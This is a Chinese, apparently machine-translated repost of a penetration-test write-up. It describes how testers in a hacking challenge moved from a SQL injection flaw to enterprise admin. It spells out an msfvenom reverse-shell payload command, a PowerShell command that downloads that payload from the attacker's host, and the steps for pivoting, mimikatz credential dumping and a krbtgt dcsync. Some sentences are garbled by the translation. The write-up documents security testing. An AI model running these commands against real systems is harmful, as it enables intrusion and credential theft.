渗透笔记:如何通过SQL注入漏洞拿到系统的管理员权限

责声明">
前言最近一段时间,我和Sudhanshu Chauhan一起参加了一个黑客挑战大赛,比赛中有这样一道有趣的题目:在只知道被渗透组织名称的前提下,对目标组织执行渗透测试任务。经过一番的摸索,我们通过利用…
前言 最近,我参加了与Sudhanshu Chauhan的黑客挑战赛。游戏中有一个非常有趣的话题:只有当我知道渗透组织的名称时才对目标组织执行渗透测试任务。经过一番探索,我们成功进入了组织的内部网,并通过在目标网站中使用SQL注入漏洞获得了目标网站的最高权限。 本文将介绍如何通过SQL注入漏洞获取目标组织的最高管理权限。本文介绍的渗透技术通常包括:OSINT,弱密码,密码破解,不安全配置和透视攻击。绕过*和pwnage。https://www.com/archives/62098.html#goComment 渗透过程 有趣的是,游戏的初始阶段是禁止我们进行枚举的,所以在项目开始时我们使用被动方法来收集与目标相关的信息,包括获取目标组织拥有的IP地址段,域名及其子域在github,pastebin和其他第三方网站上检索与目标组织相关的信息,并使用shodan和其他OSINT技术来发现从目标网站泄漏的敏感信息和服务信息。 在我们之前的被动信息收集之后,我们编制了一个信息列表,之后我们结合了各种因素来编辑和排序前一时期获得的数据,主要包括:泄漏证书,过时软件,暴露服务等。在编制的资源信息列表中,我们可以制定一个渗透计划,用于下一阶段。 在我们的资源信息列表中,我们发现其中一个排名靠前的网站存在SQL注入漏洞。通过使用SQLMap(添加“-is-dba”选项)工具,我们发现可以通过此SQL注入漏洞获取DBA级别。特权。获取数据库类型后,我们成功获取了sql  shell。此外,我们还发现了一些数据库用户名和相关的密码哈希值。通过使用#OneRuleToRuleThemAll,我们可以破解一些哈希密码。另外,由于在数据库服务器上启用了“xp_cmdshell”,我们可以执行OS命令,可以通过调用我们的自定义域名“xyz.abc.sos.notsosecure.com”的OOB  DNS来确认,如下所示。显示: blob.png 接下来,我们将通过交互式shell执行代码。起初我们尝试了多个meterpreter 有效载荷,但几乎从未工作过。之后我们尝试了各种渗透技术(例如ICMP 隧道),最后通过xp_cmdshell获得了一个交互式ICMP shell,如下所示。 blob.png 使用新获得的ICMP  shell,我们准备进一步渗透目标系统。我们在目标网站上搜索了有助于渗透后阶段的信息,但由于ICMP  shell不稳定,我们使用shell。没有发现任何信息数据有助于渗透后利用。之后,我们将注意力转向目标系统本身。由于目标主机是Windows系统,我们尝试获取powershell  meterpreter的有效负载。 虽然我们成功获得了一个powershell,但它在几秒钟内被检测到并且连接已终止。然后我们使用枚举操作来获取在目标主机上运行的防病毒软件的模型和版本信息。 在多次尝试绕过防病毒软件之后,我们继续枚举目标上安装的软件并确定python确实安装在目标主机上。 然后我们通过运行以下命令:使用msfvenom生成了一个python  meterpreter有效负载 Msfvenom  -f  raw  -p  python/meterpreter/reverse_tcp  LHOST=< OUR_HOST>  LPORT=1234 >  pypreter.py 上述有效负载托管在我们的服务器上,之后我们通过指示受感染的服务器在ICMP shell中使用以下Powershell命令来下载有效负载: Powershell  $ WebRequest =  New-Object  System.Net.WebClient;  $ WebRequest.DownloadFile('http://< OUR_HOST> 8000/pypreter.py','C: \ Windows \ Temp \ pypreter.py') 我们启动一个metasploit/multi/handler模块来建立与先前创建的有效负载的连接,然后我们通过ICMP shell加载它,然后我们得到我们想要的meterpreter shell,如下所示: blob.png 虽然上面的meterpreter  shell比原始的ICMP shell稳定得多,但是由于python  meterpreter实现的限制,大多数的meterpreter命令都没有达到预期的效果。 所以我们从新获得的python  meterpreter  shell开始,继续在目标系统上执行枚举操作。根据过去的经验,我们针对网络共享,因为防病毒软件通常不会对网络共享执行扫描操作。 有趣的是,我们在目标系统中找到了一个网络共享,并在那里放置了一个米级预编码 之后,我们打开另一个metasploit/multi/handler模块以建立与meterpreter有效负载的连接,并期望一个新的本地meterpreter  shell。一旦我们有了这个meterpreter  shell,我们可以用目标系统做很多事情。 我们尝试使用mimikatz工具获取明文密码,但由于没有人执行了登录操作,并且本地哈希没有在别处运行,我们还没有找到任何明文登录密码。但后来我们发现目标主机有多个网络接口,所以我们使用新获得的meterpreter  shell,并在shell中输入以下命令添加到内部网络的路由: 路由 添加  10.0.1.0  255.255.252.0  1 添加路由后,我们执行ARP扫描并使用metasploit post exploit模块来识别连接到当前网络的主机。 然后,我们使用metasploit辅助模块在当前连接的主机上执行端口扫描操作,以尝试识别运行MSSQL的主机。扫描结果如下所示。 然后,我们使用“auxiliary/scanner/mssql/mssql_login”模块和从先前的破解获得的数据库帐户来查看目标系统是否正在使用任何帐户。结果如下所示。 blob.png 此时,我们发现一个帐户在其他两个主机上有效,并具有数据库管理权限。在“auxiliary/admin/mssql/mssql_exec”模块的帮助下,我们使用此特权帐户重新获取了一个meterpreter  shell,并且shell具有SYSTME权限。之后,我们发现主机运行的是Windows Server  2003操作系统,然后我们转储了本地哈希值,并使用Hashcat工具破解了获取的哈希值,最后使用meterpreter  shell来转储域帐号哈希。如下图:所示 blob.png 此外,我们仍然使用mimikatz工具从内存中转储明文密码,如下所示。 blob.png 经过进一步分析,我们可以确定其中一个用户是“企业管理员”,这允许我们直接访问域控制器并使用powershell脚本“invoke - massmimikatz.ps1”从其他主机提取多个明文密码。https://github.com/PowerShellEmpire/PowerTools/blob/master/PewPewPew/Invoke-MassMimikatz.ps1 此外,我们现在可以在域控制器上执行hashdump以获取高权限帐户的哈希值,例如“krbtgt”。在本文中,我们使用metasploit kiwi扩展中的“dcsync_ntlm”命令来提取krbtgt帐户的哈希值,如下图所示。 blob.png 所以整个渗透过程结束了。回顾整个渗透过程,我们一步一步地从Web应用程序的SQL注入漏洞开始,直到我们从目标站点管理员那里获得多个登录密码。整个攻击流程图如下: blob.png 总结 通过对整个渗透测试过程的审查,我们发现几乎任何漏洞对企业都至关重要,因为任何小漏洞都可能成为黑客潜入企业的突破口;另外需要注意的是,企业应该清楚地列出公司的内部设备清单,以确保在发生漏洞时及时修补和升级易受攻击的主机。 原始地址:https://www.notsosecure.com/anatomy-of-a-hack-sqli-to-enterprise-admin/
  • 发表于 2017-10-18 08:00
  • 阅读 ( 690 )
  • 分类:黑客技术

你可能感兴趣的文章

相关问题

0 条评论

请先 登录 后评论
不写代码的码农
黑客

2107 篇文章

作家榜 »

  1. 黑客 2107 文章